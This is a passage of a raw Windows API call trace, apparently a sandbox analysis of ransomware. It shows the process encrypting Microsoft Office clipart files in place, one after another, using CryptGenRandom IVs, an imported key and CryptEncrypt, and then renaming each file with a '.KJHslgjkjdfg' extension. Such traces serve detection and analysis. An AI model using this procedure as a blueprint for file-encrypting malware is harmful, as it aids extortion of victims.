cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1 [0187.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.112] GetProcessHeap () returned 0x2a0000 [0187.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.112] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0187.114] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.114] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.114] GetProcessHeap () returned 0x2a0000 [0187.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.114] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.114] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.114] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.114] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.114] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.114] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.115] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.115] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.115] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.115] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.115] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.115] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f24, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f24, lpOverlapped=0x0) returned 1 [0187.116] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f30) returned 1 [0187.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.116] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f30, lpOverlapped=0x0) returned 1 [0187.116] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.116] SetEndOfFile (hFile=0x114) returned 1 [0187.119] GetProcessHeap () returned 0x2a0000 [0187.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.119] GetProcessHeap () returned 0x2a0000 [0187.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.kjhslgjkjdfg")) returned 1 [0187.120] CloseHandle (hObject=0x114) returned 1 [0187.121] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1 [0187.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.122] GetProcessHeap () returned 0x2a0000 [0187.122] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.122] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.122] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.124] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.125] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.125] GetProcessHeap () returned 0x2a0000 [0187.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.125] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.125] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.125] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.125] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.125] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.125] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.125] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.125] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.125] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.125] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2178, lpOverlapped=0x0) returned 1 [0187.126] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2180, dwBufLen=0x2180 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2180) returned 1 [0187.126] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.126] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2180, lpOverlapped=0x0) returned 1 [0187.126] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.126] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.126] SetEndOfFile (hFile=0x114) returned 1 [0187.129] GetProcessHeap () returned 0x2a0000 [0187.129] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.129] GetProcessHeap () returned 0x2a0000 [0187.129] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.kjhslgjkjdfg")) returned 1 [0187.130] CloseHandle (hObject=0x114) returned 1 [0187.130] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1 [0187.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.131] GetProcessHeap () returned 0x2a0000 [0187.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.131] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.131] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0187.133] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.133] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.133] GetProcessHeap () returned 0x2a0000 [0187.133] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.134] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.134] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.134] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.134] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.134] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.134] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.134] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.134] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.134] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.134] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1664, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1664, lpOverlapped=0x0) returned 1 [0187.135] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1670, dwBufLen=0x1670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1670) returned 1 [0187.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.135] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1670, lpOverlapped=0x0) returned 1 [0187.135] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.135] SetEndOfFile (hFile=0x114) returned 1 [0187.137] GetProcessHeap () returned 0x2a0000 [0187.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.137] GetProcessHeap () returned 0x2a0000 [0187.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.kjhslgjkjdfg")) returned 1 [0187.139] CloseHandle (hObject=0x114) returned 1 [0187.139] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1 [0187.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.140] GetProcessHeap () returned 0x2a0000 [0187.140] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.140] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.140] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.140] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.140] GetProcessHeap () returned 0x2a0000 [0187.140] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.140] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.140] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.140] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.142] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.142] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.142] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.143] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.143] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.143] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.143] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x41a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x41a0, lpOverlapped=0x0) returned 1 [0187.144] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x41a0, dwBufLen=0x41a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x41a0) returned 1 [0187.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.144] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x41a0, lpOverlapped=0x0) returned 1 [0187.144] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.144] SetEndOfFile (hFile=0x114) returned 1 [0187.147] GetProcessHeap () returned 0x2a0000 [0187.147] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.147] GetProcessHeap () returned 0x2a0000 [0187.147] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.kjhslgjkjdfg")) returned 1 [0187.148] CloseHandle (hObject=0x114) returned 1 [0187.148] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1 [0187.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.149] GetProcessHeap () returned 0x2a0000 [0187.150] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.150] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.150] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.150] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.152] GetProcessHeap () returned 0x2a0000 [0187.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.152] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, 